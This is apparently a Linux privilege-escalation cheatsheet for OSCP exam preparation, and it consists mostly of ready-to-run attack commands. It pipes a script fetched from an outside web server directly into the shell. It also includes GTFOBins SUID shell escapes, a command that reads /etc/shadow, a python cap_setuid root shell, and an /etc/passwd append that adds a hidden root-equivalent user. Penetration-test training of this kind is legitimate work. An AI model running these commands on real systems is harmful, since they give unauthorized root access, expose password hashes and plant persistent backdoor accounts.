Privilege Escalation • Essential / OSCP Exam Core

Linux Privilege Escalation Cheatsheet for OSCP: SUID, Sudo, Capabilities & Cron

Target Audience: Penetration testers needing instant local root privilege escalation scripts

> OffSec Exam Tactical Tip

Always check `sudo -l` first. 40% of OSCP Linux targets can be rooted in 30 seconds if standard sudo permissions or LD_PRELOAD vulnerabilities are present.

# Automated Enumeration: LinPEAS & Fast Check

Before attempting manual kernel exploits or wild guessing, transfer linpeas.sh via a local python web server and scan for 99% of common misconfigurations.

Terminal Commands / Payload

# 1. Transfer & Execute LinPEAS in memory
curl -s http://192.168.45.10:8000/linpeas.sh | sh

# 2. Quick Sudo Privileges Check
sudo -l

# 3. Quick SUID & SGID Binaries Search
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# Exploiting SUID Binaries via GTFOBins

If you find uncommon SUID binaries, match them against GTFOBins patterns for instant root shells.

Terminal Commands / Payload

# /usr/bin/find with SUID
find . -exec /bin/sh -p \; -quit

# /usr/bin/vim with SUID
vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# /usr/bin/env with SUID
env /bin/sh -p

# /usr/bin/base64 reading /etc/shadow
base64 "/etc/shadow" | base64 --decode

# Linux Capabilities & Writable Configuration Files

Capabilities divide root privileges into distinct units. An administrative binary with cap_setuid=ep allows escalating to UID 0 effortlessly.

Terminal Commands / Payload

# 1. Inspect Linux Capabilities
getcap -r / 2>/dev/null

# 2. Python3 with cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# 3. Writable /etc/passwd exploit (add root user with password 'password')
openssl passwd -1 -salt newpass password
# output: $1$newpass$qLwF3D7aU...
echo 'root2:$1$newpass$qLwF3D7aU...:0:0:root:/root:/bin/bash' >> /etc/passwd
su root2

Recommended Tools & Binaries

LinPEAS GTFOBins pspy64 Chisel Linux Exploit Suggester